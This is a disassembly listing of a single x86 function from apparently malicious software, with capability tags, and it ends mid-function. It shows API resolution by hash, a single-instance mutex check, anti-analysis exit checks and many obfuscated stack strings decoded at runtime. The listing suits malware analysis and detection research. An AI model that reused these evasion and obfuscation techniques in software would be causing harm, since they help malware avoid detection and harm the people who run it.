Function at 0x1001a9d0
Capabilities:
Contain obfuscated stackstrings
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002a7f0
mov eax, dword fs:[0]
push eax
sub esp, 0x4d8
mov eax, dword [0x10035040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
push 0
push 0
push 0
push 0x1001a630
push 0
push 0
mov edx, 0x6f95f94f
xor ecx, ecx
call fcn.1000df10
call eax
push 0x1472
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
mov al, 2
mov dword [ebp - 0x254], 0x303a3a02
mov dword [ebp - 0x250], 0x303b3b
lea esi, [ebp - 0x254]
xor edx, edx
mov dword [ebp - 0x4e4], edx
nop dword [eax]
cmp edx, 6
jae 0x1001aa8d
movsx eax, al
and eax, 0x8000000f
jns 0x1001aa74
dec eax
or eax, 0xfffffff0
inc eax
mov cl, byte [esi + edx + 1]
sub cl, al
mov byte [esi + edx + 1], cl
inc edx
mov dword [ebp - 0x4e4], edx
mov al, byte [ebp - 0x254]
jmp 0x1001aa60
mov byte [ebp - 0x24d], 0
lea eax, [ebp - 0x253]
push eax
lea ecx, [ebp - 0x378]
call fcn.1000c7c0
mov al, 0x4b
mov dword [ebp - 0x260], 0x3d413c4b
mov dword [ebp - 0x25c], 0x42433c39
mov byte [ebp - 0x258], 0
lea esi, [ebp - 0x260]
xor edx, edx
mov dword [ebp - 0x4e0], edx
cmp edx, 7
jae 0x1001aafe
movsx eax, al
and eax, 0x8000000f
jns 0x1001aae5
dec eax
or eax, 0xfffffff0
inc eax
mov cl, byte [esi + edx + 1]
sub cl, al
mov byte [esi + edx + 1], cl
inc edx
mov dword [ebp - 0x4e0], edx
mov al, byte [ebp - 0x260]
jmp 0x1001aad1
mov byte [ebp - 0x258], 0
lea eax, [ebp - 0x25f]
push eax
lea edx, [ebp - 0x378]
lea ecx, [ebp - 0x404]
call fcn.1000cb90
add esp, 4
push eax
lea ecx, [ebp - 0x378]
call fcn.1000c6f0
lea ecx, [ebp - 0x404]
call fcn.1000c6a0
lea ecx, [ebp - 0x378]
call fcn.1000cac0
test al, al
jne 0x1001beda
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
call fcn.10019c70
add esp, 0x18
push str.ConsoleApplication262
push 1
push 0
mov edx, 0x2653dbac
xor ecx, ecx
call fcn.1000df10
call eax
test eax, eax
je 0x1001ab93
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1001ab93
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x3138
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
call fcn.1000dac0
test al, al
je 0x1001abb7
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1000d7d0
test al, al
je 0x1001abc8
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1000db40
test al, al
je 0x1001abd9
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10010ca0
test eax, eax
jne 0x1001ac02
push 1
push eax
push eax
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
lea ecx, [ebp - 0x47d]
call fcn.10018d20
lea ecx, [ebp - 0x47d]
call fcn.10017fb0
lea ecx, [ebp - 0x47d]
call fcn.10018090
lea ecx, [ebp - 0x404]
call fcn.1000c8f0
lea ecx, [ebp - 0x318]
call fcn.10010a20
push eax
lea ecx, [ebp - 0x404]
call fcn.1000c6f0
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
push 0x104
lea eax, [ebp - 0x21c]
push eax
mov edx, 0xbb6bb7ab
xor ecx, ecx
call fcn.1000df10
call eax
mov esi, eax
push 0x10031e48
lea ecx, [ebp - 0x41c]
call fcn.1000c7c0
test esi, esi
je 0x1001ac85
push 0x10031e84
lea ecx, [ebp - 0x41c]
call fcn.1000c670
lea eax, [ebp - 0x378]
push eax
mov edx, 0x10031e64
lea ecx, [ebp - 0x44c]
call fcn.1000ccf0
add esp, 4
lea ecx, [ebp - 0x44c]
call fcn.1000c570
mov esi, eax
mov dword [ebp - 0x484], esi
push 0x1202
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
mov byte [ebp - 4], 1
mov dl, 0x17
mov byte [ebp - 0x26c], dl
mov byte [ebp - 0x26b], 0x7b
mov byte [ebp - 0x26a], 0x7e
mov byte [ebp - 0x269], 0x74
mov byte [ebp - 0x268], 0x39
mov byte [ebp - 0x267], 0x76
mov byte [ebp - 0x266], 0x64
mov byte [ebp - 0x265], 0x67
mov word [ebp - 0x264], 0x6f
lea edi, [ebp - 0x26c]
xor eax, eax
mov dword [ebp - 0x4dc], eax
nop dword [eax]
cmp eax, 8
jae 0x1001ad3e
mov cl, byte [edi + eax + 1]
xor cl, dl
mov byte [edi + eax + 1], cl
inc eax
mov dword [ebp - 0x4dc], eax
mov dl, byte [ebp - 0x26c]
jmp 0x1001ad20
mov byte [ebp - 0x263], 0
sub esp, 0x18
mov ecx, esp
push 0x1003005c
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x26b]
push eax
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
lea eax, [ebp - 0x434]
push eax
lea ecx, [ebp - 0x47d]
call fcn.1000f890
mov al, 0x3c
mov byte [ebp - 0x2a0], al
mov byte [ebp - 0x29f], 0x83
mov byte [ebp - 0x29e], 0x75
mov byte [ebp - 0x29d], 0x7a
mov byte [ebp - 0x29c], 0x78
mov byte [ebp - 0x29b], 0x7b
mov byte [ebp - 0x29a], 0x73
mov byte [ebp - 0x299], 0x7b
mov byte [ebp - 0x298], 0x7a
mov byte [ebp - 0x297], 0x3a
mov byte [ebp - 0x296], 0x71
mov byte [ebp - 0x295], 0x84
mov word [ebp - 0x294], 0x71
lea edi, [ebp - 0x2a0]
xor ecx, ecx
mov dword [ebp - 0x4d8], ecx
cmp ecx, 0xc
jae 0x1001ae21
movsx eax, al
and eax, 0x8000000f
jns 0x1001ae08
dec eax
or eax, 0xfffffff0
inc eax
mov dl, byte [ecx + edi + 1]
sub dl, al
mov byte [ecx + edi + 1], dl
inc ecx
mov dword [ebp - 0x4d8], ecx
mov al, byte [ebp - 0x2a0]
jmp 0x1001adf4
mov byte [ebp - 0x293], 0
lea eax, [ebp - 0x29f]
push eax
push esi
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x434]
push eax
call fcn.1000c800
call fcn.1000ec00
lea ecx, [ebp - 0x434]
call fcn.1000c6a0
mov dword [ebp - 4], 0
jmp 0x1001ae6d
push 0xe56
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
mov byte [ebp - 4], 3
mov dl, 0xb
mov byte [ebp - 0x278], dl
mov byte [ebp - 0x277], 0x68
mov byte [ebp - 0x276], 0x64
mov byte [ebp - 0x275], 0x79
mov byte [ebp - 0x274], 0x7b
mov byte [ebp - 0x273], 0x25
mov byte [ebp - 0x272], 0x6a
mov byte [ebp - 0x271], 0x78
mov byte [ebp - 0x270], 0x7b
mov word [ebp - 0x26f], 0x73
lea edi, [ebp - 0x278]
xor eax, eax
mov dword [ebp - 0x4d4], eax
nop dword [eax + eax]
cmp eax, 9
jae 0x1001aefe
mov cl, byte [edi + eax + 1]
xor cl, dl
mov byte [edi + eax + 1], cl
inc eax
mov dword [ebp - 0x4d4], eax
mov dl, byte [ebp - 0x278]
jmp 0x1001aee0
mov byte [ebp - 0x26e], 0
sub esp, 0x18
mov ecx, esp
push 0x1003005c
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x277]
push eax
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
lea eax, [ebp - 0x390]
push eax
lea ecx, [ebp - 0x485]
call fcn.1000f890
mov al, 0x5a
mov byte [ebp - 0x300], al
mov byte [ebp - 0x2ff], 0x81
mov byte [ebp - 0x2fe], 0x73
mov byte [ebp - 0x2fd], 0x78
mov byte [ebp - 0x2fc], 0x76
mov byte [ebp - 0x2fb], 0x79
mov byte [ebp - 0x2fa], 0x71
mov byte [ebp - 0x2f9], 0x79
mov byte [ebp - 0x2f8], 0x78
mov byte [ebp - 0x2f7], 0x38
mov byte [ebp - 0x2f6], 0x6f
mov byte [ebp - 0x2f5], 0x82
mov word [ebp - 0x2f4], 0x6f
lea edi, [ebp - 0x300]
xor ecx, ecx
mov dword [ebp - 0x4a4], ecx
cmp ecx, 0xc
jae 0x1001afe1
movsx eax, al
and eax, 0x8000000f
jns 0x1001afc8
dec eax
or eax, 0xfffffff0
inc eax
mov dl, byte [ecx + edi + 1]
sub dl, al
mov byte [ecx + edi + 1], dl
inc ecx
mov dword [ebp - 0x4a4], ecx
mov al, byte [ebp - 0x300]
jmp 0x1001afb4
mov byte [ebp - 0x2f3], 0
lea eax, [ebp - 0x2ff]
push eax
push esi
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x390]
push eax
call fcn.1000c800
call fcn.1000ec00
lea ecx, [ebp - 0x390]
call fcn.1000c6a0
mov dword [ebp - 4], 0
jmp 0x1001b02d
push 0x15ea
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
mov byte [ebp - 4], 5
mov dl, 0x11
mov byte [ebp - 0x284], dl
mov byte [ebp - 0x283], 0x7c
mov byte [ebp - 0x282], 0x70
mov byte [ebp - 0x281], 0x78
mov byte [ebp - 0x280], 0x7f
mov byte [ebp - 0x27f], 0x3f
mov byte [ebp - 0x27e], 0x70
mov byte [ebp - 0x27d], 0x62
mov byte [ebp - 0x27c], 0x61
mov word [ebp - 0x27b], 0x69
lea edi, [ebp - 0x284]
xor eax, eax
mov dword [ebp - 0x4a0], eax
nop dword [eax + eax]
cmp eax, 9
jae 0x1001b0be
mov cl, byte [edi + eax + 1]
xor cl, dl
mov byte [edi + eax + 1], cl
inc eax
mov dword [ebp - 0x4a0], eax
mov dl, byte [ebp - 0x284]
jmp 0x1001b0a0
mov byte [ebp - 0x27a], 0
sub esp, 0x18
mov ecx, esp
push 0x1003005c
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x283]
push eax
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
lea eax, [ebp - 0x3bc]
push eax
lea ecx, [ebp - 0x486]
call fcn.1000f890
mov dl, 0x76
mov byte [ebp - 0x2f0], dl
mov byte [ebp - 0x2ef], 0x13
mov byte [ebp - 0x2ee], 0xe
mov byte [ebp - 0x2ed], 6
mov byte [ebp - 0x2ec], 0x1a
mov byte [ebp - 0x2eb], 0x19
mov byte [ebp - 0x2ea], 4
mov byte [ebp - 0x2e9], 0x13
mov byte [ebp - 0x2e8], 4
mov byte [ebp - 0x2e7], 0x58
mov byte [ebp - 0x2e6], 0x13
mov byte [ebp - 0x2e5], 0xe
mov word [ebp - 0x2e4], 0x13
lea edi, [ebp - 0x2f0]
xor eax, eax
mov dword [ebp - 0x49c], eax
cmp eax, 0xc
jae 0x1001b192
mov cl, byte [eax + edi + 1]
xor cl, dl
mov byte [eax + edi + 1], cl
inc eax
mov dword [ebp - 0x49c], eax
mov dl, byte [ebp - 0x2f0]
jmp 0x1001b174
mov byte [ebp - 0x2e3], 0
lea eax, [ebp - 0x2ef]
push eax
push esi
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x3bc]
push eax
call fcn.1000c800
call fcn.1000ec00
call fcn.10010d20
mov ecx, eax
call fcn.100170f0
test al, al
jne 0x1001b294
push 0x4e20
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 0x34
mov byte [ebp - 0x2e0], al
mov byte [ebp - 0x2df], 0x7b
mov byte [ebp - 0x2de], 0x6d
mov byte [ebp - 0x2dd], 0x72
mov byte [ebp - 0x2dc], 0x70
mov byte [ebp - 0x2db], 0x73
mov byte [ebp - 0x2da], 0x6b
mov byte [ebp - 0x2d9], 0x73
mov byte [ebp - 0x2d8], 0x72
mov byte [ebp - 0x2d7], 0x32
mov byte [ebp - 0x2d6], 0x69
mov byte [ebp - 0x2d5], 0x7c
mov word [ebp - 0x2d4], 0x69
lea edi, [ebp - 0x2e0]
xor ecx, ecx
mov dword [ebp - 0x498], ecx
cmp ecx, 0xc
jae 0x1001b26f
movsx eax, al
and eax, 0x8000000f
jns 0x1001b256
dec eax
or eax, 0xfffffff0
inc eax
mov dl, byte [ecx + edi + 1]
sub dl, al
mov byte [ecx + edi + 1], dl
inc ecx
mov dword [ebp - 0x498], ecx
mov al, byte [ebp - 0x2e0]
jmp 0x1001b242
mov byte [ebp - 0x2d3], 0
lea eax, [ebp - 0x2df]
push eax
push esi
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x3bc]
push eax
call fcn.1000c800
call fcn.1000ec00
lea ecx, [ebp - 0x3bc]
call fcn.1000c6a0
mov dword [ebp - 4], 0
jmp 0x1001b2bb
mov byte [ebp - 4], 7
mov al, 4
mov byte [ebp - 0x2d0], al
mov byte [ebp - 0x2cf], 0x67
mov byte [ebp - 0x2ce], 0x73
mov byte [ebp - 0x2cd], 0x71
mov byte [ebp - 0x2cc], 0x74
mov byte [ebp - 0x2cb], 0x65
mov byte [ebp - 0x2ca], 0x72
mov byte [ebp - 0x2c9], 0x7d
mov byte [ebp - 0x2c8], 0x32
mov byte [ebp - 0x2c7], 0x65
mov byte [ebp - 0x2c6], 0x77
mov byte [ebp - 0x2c5], 0x74
mov word [ebp - 0x2c4], 0x7c
lea edi, [ebp - 0x2d0]
xor ecx, ecx
mov dword [ebp - 0x494], ecx
nop dword [eax + eax]
cmp ecx, 0xc
jae 0x1001b35d
movsx eax, al
and eax, 0x8000000f
jns 0x1001b344
dec eax
or eax, 0xfffffff0
inc eax
mov dl, byte [ecx + edi + 1]
sub dl, al
mov byte [ecx + edi + 1], dl
inc ecx
mov dword [ebp - 0x494], ecx
mov al, byte [ebp - 0x2d0]
jmp 0x1001b330
mov byte [ebp - 0x2c3], 0
sub esp, 0x18
mov ecx, esp
push 0x1003005c
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x2cf]
push eax
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
lea eax, [ebp - 0x3ec]
push eax
lea ecx, [ebp - 0x487]
call fcn.1000f890
mov al, 0x2f
mov byte [ebp - 0x2c0], al
mov byte [ebp - 0x2bf], 0x86
mov byte [ebp - 0x2be], 0x78
mov byte [ebp - 0x2bd], 0x7d
mov byte [ebp - 0x2bc], 0x7b
mov byte [ebp - 0x2bb], 0x7e
mov byte [ebp - 0x2ba], 0x76
mov byte [ebp - 0x2b9], 0x7e
mov byte [ebp - 0x2b8], 0x7d
mov byte [ebp - 0x2b7], 0x3d
mov byte [ebp - 0x2b6], 0x74
mov byte [ebp - 0x2b5], 0x87
mov word [ebp - 0x2b4], 0x74
lea edi, [ebp - 0x2c0]
xor ecx, ecx
mov dword [ebp - 0x490], ecx
cmp ecx, 0xc
jae 0x1001b440
movsx eax, al
and eax, 0x8000000f
jns 0x1001b427
dec eax
or eax, 0xfffffff0
inc eax
mov dl, byte [edi + ecx + 1]
sub dl, al
mov byte [edi + ecx + 1], dl
inc ecx
mov dword [ebp - 0x490], ecx
mov al, byte [ebp - 0x2c0]
jmp 0x1001b413
mov byte [ebp - 0x2b3], 0
lea eax, [ebp - 0x2bf]
push eax
push esi
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x3ec]
push eax
call fcn.1000c800
call fcn.1000ec00
lea ecx, [ebp - 0x3ec]
call fcn.1000c6a0
mov dword [ebp - 4], 0
jmp 0x1001b48c
push 0x1022
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
mov byte [ebp - 4], 9
mov dl, 1
mov byte [ebp - 0x328], dl
mov byte [ebp - 0x327], 0x62
mov byte [ebp - 0x326], 0x6e
mov byte [ebp - 0x325], 0x6f
mov byte [ebp - 0x324], 0x75
mov byte [ebp - 0x323], 0x60
mov byte [ebp - 0x322], 0x62
mov byte [ebp - 0x321], 0x75
mov byte [ebp - 0x320], 0x72
mov byte [ebp - 0x31f], 0x2f
mov byte [ebp - 0x31e], 0x60
mov byte [ebp - 0x31d], 0x72
mov byte [ebp - 0x31c], 0x71
mov word [ebp - 0x31b], 0x79
lea edi, [ebp - 0x328]
xor eax, eax
mov dword [ebp - 0x4d0], eax
cmp eax, 0xd
jae 0x1001b534
mov cl, byte [edi + eax + 1]
xor cl, dl
mov byte [edi + eax + 1], cl
inc eax
mov dword [ebp - 0x4d0], eax
mov dl, byte [ebp - 0x328]
jmp 0x1001b516
mov byte [ebp - 0x31a], 0
sub esp, 0x18
mov ecx, esp
push 0x1003005c
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x327]
push eax
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
lea eax, [ebp - 0x348]
push eax
lea ecx, [ebp - 0x488]
call fcn.1000f890
mov dl, 0x3d
mov byte [ebp - 0x2b0], dl
mov byte [ebp - 0x2af], 0x4a
mov byte [ebp - 0x2ae], 0x54
mov byte [ebp - 0x2ad], 0x53
mov byte [ebp - 0x2ac], 0x51
mov byte [ebp - 0x2ab], 0x52
mov byte [ebp - 0x2aa], 0x5a
mov byte [ebp - 0x2a9], 0x52
mov byte [ebp - 0x2a8], 0x53
mov byte [ebp - 0x2a7], 0x13
mov byte [ebp - 0x2a6], 0x58
mov byte [ebp - 0x2a5], 0x45
mov word [ebp - 0x2a4], 0x58
lea edi, [ebp - 0x2b0]
xor eax, eax
mov dword [ebp - 0x4a8], eax
nop word [eax + eax]
cmp eax, 0xc
jae 0x1001b60e
mov cl, byte [eax + edi + 1]
xor cl, dl
mov byte [eax + edi + 1], cl
inc eax
mov dword [ebp - 0x4a8], eax
mov dl, byte [ebp - 0x2b0]
jmp 0x1001b5f0
mov byte [ebp - 0x2a3], 0
lea eax, [ebp - 0x2af]
push eax
push esi
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x348]
push eax
call fcn.1000c800
call fcn.1000ec00
lea ecx, [ebp - 0x348]
call fcn.1000c6a0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x464]
call fcn.10010e10
mov dl, 0x27
mov dword [ebp - 0x224], 0x425f4227
mov byte [ebp - 0x220], 0
lea esi, [ebp - 0x224]
xor ecx, ecx
mov dword [ebp - 0x4ac], ecx
cmp ecx, 3
jae 0x1001b695
mov al, byte [ecx + esi + 1]
xor al, dl
mov byte [ecx + esi + 1], al
inc ecx
mov dword [ebp - 0x4ac], ecx
mov dl, byte [ebp - 0x224]
jmp 0x1001b671
mov byte [ebp - 0x220], 0
lea eax, [ebp - 0x223]
push eax
lea ecx, [ebp - 0x3ec]
call fcn.1000c7c0
lea eax, [ebp - 0x3ec]
push eax
push str.._r_n_t_
lea eax, [ebp - 0x464]
push eax
lea edx, [ebp - 0x404]
lea ecx, [ebp - 0x348]
call fcn.1000ce00
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x318]
call fcn.1000cb40
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x330]
call fcn.1000cd60
add esp, 4
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
lea ecx, [ebp - 0x348]
call fcn.1000c6a0
mov byte [ebp - 4], 0xb
mov al, 0x1a
mov byte [ebp - 0x290], al
mov byte [ebp - 0x28f], 0x6b
mov byte [ebp - 0x28e], 0x6c
mov byte [ebp - 0x28d], 0x79
mov byte [ebp - 0x28c], 0x7f
mov byte [ebp - 0x28b], 0x7e
mov byte [ebp - 0x28a], 0x38
mov byte [ebp - 0x289], 0x6b
mov byte [ebp - 0x288], 0x7d
mov byte [ebp - 0x287], 0x7a
mov word [ebp - 0x286], 0x82
lea esi, [ebp - 0x290]
xor ecx, ecx
mov dword [ebp - 0x4b4], ecx
nop dword [eax]
cmp ecx, 0xa
jae 0x1001b79d
movsx eax, al
and eax, 0x8000000f
jns 0x1001b784
dec eax
or eax, 0xfffffff0
inc eax
mov dl, byte [esi + ecx + 1]
sub dl, al
mov byte [esi + ecx + 1], dl
inc ecx
mov dword [ebp - 0x4b4], ecx
mov al, byte [ebp - 0x290]
jmp 0x1001b770
mov byte [ebp - 0x285], 0
sub esp, 0x18
mov ecx, esp
push 0x1003005c
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x28f]
push eax
call fcn.1000c7c0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x48b]
call fcn.1000f890
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x318]
push eax
call fcn.1000c800
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x330]
push eax
call fcn.1000c800
call fcn.1000fe10
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
mov dword [ebp - 4], 0
push 0x7ac8
mov edx, 0x310d1257
xor ecx, ecx
call fcn.1000df10
call eax
push 0x1003005c
lea ecx, [ebp - 0x3bc]
call fcn.1000c7c0
movaps xmm0, xmmword [0x100326f0]
movups xmmword [ebp - 0x3a4], xmm0
mov word [ebp - 0x394], 0x7e
lea esi, [ebp - 0x3a4]
xor edx, edx
mov dword [ebp - 0x4b8], edx
cmp edx, 0x10
jae 0x1001b893
movsx eax, byte [ebp - 0x3a4]
and eax, 0x8000000f
jns 0x1001b880
dec eax
or eax, 0xfffffff0
inc eax
mov cl, byte [edx + esi + 1]
sub cl, al
mov byte [edx + esi + 1], cl
inc edx
jmp 0x1001b862
mov byte [ebp - 0x393], 0
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x378]
push eax
call fcn.1000c800
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x3a3]
push eax
call fcn.1000c7c0
lea eax, [ebp - 0x3d4]
push eax
lea ecx, [ebp - 0x489]
call fcn.10010320
lea ecx, [ebp - 0x3d4]
call fcn.1001bf00
test al, al
je 0x1001bd1c
mov dl, 2
mov dword [ebp - 0x234], 0x70723e02
mov word [ebp - 0x230], 0x67
lea esi, [ebp - 0x234]
xor ecx, ecx
mov dword [ebp - 0x4b0], ecx
cmp ecx, 4
jae 0x1001b922
mov al, byte [esi + ecx + 1]
xor al, dl
mov byte [esi + ecx + 1], al
inc ecx
mov dword [ebp - 0x4b0], ecx
mov dl, byte [ebp - 0x234]
jmp 0x1001b904
mov byte [ebp - 0x22f], 0
push 0
lea eax, [ebp - 0x233]
push eax
lea ecx, [ebp - 0x3d4]
call fcn.10010770
lea esi, [eax + 0xe]
mov dl, 0x10
mov dword [ebp - 0x24c], 0x603f2c10
mov dword [ebp - 0x248], 0x2e7562
lea edi, [ebp - 0x24c]
xor ecx, ecx
mov dword [ebp - 0x4bc], ecx
cmp ecx, 6
jae 0x1001b982
mov al, byte [ecx + edi + 1]
xor al, dl
mov byte [ecx + edi + 1], al
inc ecx
mov dword [ebp - 0x4bc], ecx
mov dl, byte [ebp - 0x24c]
jmp 0x1001b964
mov byte [ebp - 0x245], 0
push 0
lea eax, [ebp - 0x24b]
push eax
lea ecx, [ebp - 0x3d4]
call fcn.10010770
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x3d4]
call fcn.10010710
push 0x1003005c
lea ecx, [ebp - 0x348]
call fcn.1000c7c0
push 0x10031e9c
lea ecx, [ebp - 0x318]
call fcn.1000c7c0
lea eax, [ebp - 0x348]
push eax
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x360]
push eax
call fcn.1000c800
lea edx, [ebp - 0x318]
lea ecx, [ebp - 0x390]
call fcn.10010b50
add esp, 0x1c
push eax
lea ecx, [ebp - 0x360]
call fcn.1000c6f0
lea ecx, [ebp - 0x390]
call fcn.1000c6a0
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
lea ecx, [ebp - 0x348]
call fcn.1000c6a0
push 0x1003005c
lea ecx, [ebp - 0x348]
call fcn.1000c7c0
push 0x10031ea0
lea ecx, [ebp - 0x318]
call fcn.1000c7c0
lea eax, [ebp - 0x348]
push eax
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x360]
push eax
call fcn.1000c800
lea edx, [ebp - 0x318]
lea ecx, [ebp - 0x390]
call fcn.10010b50
add esp, 0x1c
push eax
lea ecx, [ebp - 0x360]
call fcn.1000c6f0
lea ecx, [ebp - 0x390]
call fcn.1000c6a0
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
lea ecx, [ebp - 0x348]
call fcn.1000c6a0
push 0x1003005c
lea ecx, [ebp - 0x348]
call fcn.1000c7c0
push 0x10031ea4
lea ecx, [ebp - 0x318]
call fcn.1000c7c0
lea eax, [ebp - 0x348]
push eax
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x360]
push eax
call fcn.1000c800
lea edx, [ebp - 0x318]
lea ecx, [ebp - 0x390]
call fcn.10010b50
add esp, 0x1c
push eax
lea ecx, [ebp - 0x360]
call fcn.1000c6f0
lea ecx, [ebp - 0x390]
call fcn.1000c6a0
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
lea ecx, [ebp - 0x348]
call fcn.1000c6a0
mov al, 0x2d
mov dword [ebp - 0x244], 0x796e832d
mov dword [ebp - 0x240], 0x4a7282
lea esi, [ebp - 0x244]
xor edx, edx
mov dword [ebp - 0x4c0], edx
cmp edx, 6
jae 0x1001bb6f
movsx eax, al
and eax, 0x8000000f
jns 0x1001bb56
dec eax
or eax, 0xfffffff0
inc eax
mov cl, byte [edx + esi + 1]
sub cl, al
mov byte [edx + esi + 1], cl
inc edx
mov dword [ebp - 0x4c0], edx
mov al, byte [ebp - 0x244]
jmp 0x1001bb42
mov byte [ebp - 0x23d], 0
push 0
lea eax, [ebp - 0x243]
push eax
lea ecx, [ebp - 0x360]
call fcn.10010770
cmp eax, 0xffffffff
je 0x1001bd11
mov al, 0x25
mov dword [ebp - 0x23c], 0x71667b25
mov dword [ebp - 0x238], 0x426a7a
lea esi, [ebp - 0x23c]
xor edx, edx
mov dword [ebp - 0x4c4], edx
cmp edx, 6
jae 0x1001bbe4
movsx eax, al
and eax, 0x8000000f
jns 0x1001bbcb
dec eax
or eax, 0xfffffff0
inc eax
mov cl, byte [edx + esi + 1]
sub cl, al
mov byte [edx + esi + 1], cl
inc edx
mov dword [ebp - 0x4c4], edx
mov al, byte [ebp - 0x23c]
jmp 0x1001bbb7
mov byte [ebp - 0x235], 0
push 0
lea eax, [ebp - 0x23b]
push eax
lea ecx, [ebp - 0x360]
call fcn.10010770
lea esi, [eax + 6]
mov cl, 0x23
mov dword [ebp - 0x22c], 0x41322323
mov byte [ebp - 0x228], 0
lea edi, [ebp - 0x22c]
xor edx, edx
mov dword [ebp - 0x4c8], edx
cmp edx, 3
jae 0x1001bc50
movsx eax, cl
and eax, 0x8000000f
jns 0x1001bc37
dec eax
or eax, 0xfffffff0
inc eax
mov cl, byte [edi + edx + 1]
sub cl, al
mov byte [edi + edx + 1], cl
inc edx
mov dword [ebp - 0x4c8], edx
mov cl, byte [ebp - 0x22c]
jmp 0x1001bc23
mov byte [ebp - 0x228], 0
push 0
lea eax, [ebp - 0x22b]
push eax
lea ecx, [ebp - 0x360]
call fcn.10010770
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp - 0x360]
call fcn.10010710
push eax
lea ecx, [ebp - 0x360]
call fcn.1000c6f0
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
push 0x1003005c
lea ecx, [ebp - 0x348]
call fcn.1000c7c0
push 0x10030068
lea ecx, [ebp - 0x318]
call fcn.1000c7c0
lea eax, [ebp - 0x348]
push eax
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0x360]
push eax
call fcn.1000c800
lea edx, [ebp - 0x318]
lea ecx, [ebp - 0x390]
call fcn.10010b50
add esp, 0x1c
push eax
lea ecx, [ebp - 0x3bc]
call fcn.1000c6f0
lea ecx, [ebp - 0x390]
call fcn.1000c6a0
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
lea ecx, [ebp - 0x348]
call fcn.1000c6a0
lea ecx, [ebp - 0x360]
call fcn.1000c6a0
lea eax, [ebp - 0x3bc]
push eax
push 0x10031ea8
lea edx, [ebp - 0x378]
lea ecx, [ebp - 0x318]
call fcn.1000cb90
add esp, 4
mov edx, eax
lea ecx, [ebp - 0x360]
call fcn.1000cd60
add esp, 4
lea ecx, [ebp - 0x318]
call fcn.1000c6a0
mov al, 0x36
mov word [ebp - 0x484], 0x2936
mov byte [ebp - 0x482], 0
lea esi, [ebp - 0x484]
xor edx, edx
mov dword [ebp - 0x4cc], edx
cmp edx, 1
jae 0x1001bda4
movsx eax, al
and eax, 0x8000000f
jns 0x1001bd8b
dec eax
or eax, 0xfffffff0
inc eax
mov cl, byte [edx + esi + 1]
sub cl, al
mov byte [edx + esi + 1], cl
inc edx
mov dword [ebp - 0x4cc], edx
mov al, byte [ebp - 0x484]
jmp 0x1001bd77
mov byte [ebp - 0x482], 0
lea eax, [ebp - 0x483]
push eax
lea ecx, [ebp - 0x348]
call fcn.1000c7c0
push str.._r_n_t_
